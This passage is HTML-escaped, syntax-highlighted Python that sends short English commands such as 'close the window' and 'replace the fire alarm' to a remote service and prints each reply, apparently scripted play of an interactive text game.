z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;me&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-arguments z-python&quot;&gt;,&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-single z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-python&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-single z-python&quot;&gt;utf-8&lt;span class=&quot;z-punctuation z-definition z-string z-end z-python&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-python&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;answer&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-operator z-assignment z-python&quot;&gt;=&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;r&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-accessor z-dot z-python&quot;&gt;.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;recvline&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-python&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-support z-function z-builtin z-python&quot;&gt;print&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;answer&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-accessor z-dot z-python&quot;&gt;.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;decode&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-single z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-python&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-single z-python&quot;&gt;utf-8&lt;span class=&quot;z-punctuation z-definition z-string z-end z-python&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-python&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;answer&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-operator z-assignment z-python&quot;&gt;=&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;r&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-accessor z-dot z-python&quot;&gt;.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;recvline&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-python&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-support z-function z-builtin z-python&quot;&gt;print&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;answer&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-accessor z-dot z-python&quot;&gt;.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;decode&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-single z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-python&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-single z-python&quot;&gt;utf-8&lt;span class=&quot;z-punctuation z-definition z-string z-end z-python&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-python&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;answer&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-operator z-assignment z-python&quot;&gt;=&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;r&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-accessor z-dot z-python&quot;&gt;.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;recvline&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-python&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-support z-function z-builtin z-python&quot;&gt;print&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;answer&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-accessor z-dot z-python&quot;&gt;.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;decode&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-single z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-python&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-single z-python&quot;&gt;utf-8&lt;span class=&quot;z-punctuation z-definition z-string z-end z-python&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-python&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;me&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-operator z-assignment z-python&quot;&gt;=&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-double z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-python&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-double z-python&quot;&gt;close the window&lt;span class=&quot;z-punctuation z-definition z-string z-end z-python&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-python&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-support z-function z-builtin z-python&quot;&gt;print&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;me&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-python&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;r&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-accessor z-dot z-python&quot;&gt;.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;sendline&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-support z-type z-python&quot;&gt;bytes&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;me&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-arguments z-python&quot;&gt;,&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-single z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-python&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-single z-python&quot;&gt;utf-8&lt;span class=&quot;z-punctuation z-definition z-string z-end z-python&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-python&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;answer&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-operator z-assignment z-python&quot;&gt;=&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;r&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-accessor z-dot z-python&quot;&gt;.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;recvline&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-python&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-support z-function z-builtin z-python&quot;&gt;print&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;answer&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-accessor z-dot z-python&quot;&gt;.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;decode&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-single z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-python&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-single z-python&quot;&gt;utf-8&lt;span class=&quot;z-punctuation z-definition z-string z-end z-python&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-python&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;me&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-operator z-assignment z-python&quot;&gt;=&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-double z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-python&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-double z-python&quot;&gt;replace the fire alarm&lt;span class=&quot;z-punctuation z-definition z-string z-end z-python&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-python&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-support z-function z-builtin z-python&quot;&gt;print&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;me&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-python&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;r&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-accessor z-dot z-python&quot;&gt;.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;sendline&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-support z-type z-python&quot;&gt;bytes&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;me&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-arguments z-python&quot;&gt;,&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-single z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-python&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-single z-python&quot;&gt;utf-8&lt;span class=&quot;z-punctuation z-definition z-string z-end z-python&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-python&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;answer&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-operator z-assignment z-python&quot;&gt;=&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;r&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-accessor z-dot z-python&quot;&gt;.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;recvline&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-python&quot;&gt;;&lt;&#x2F;span&gt;
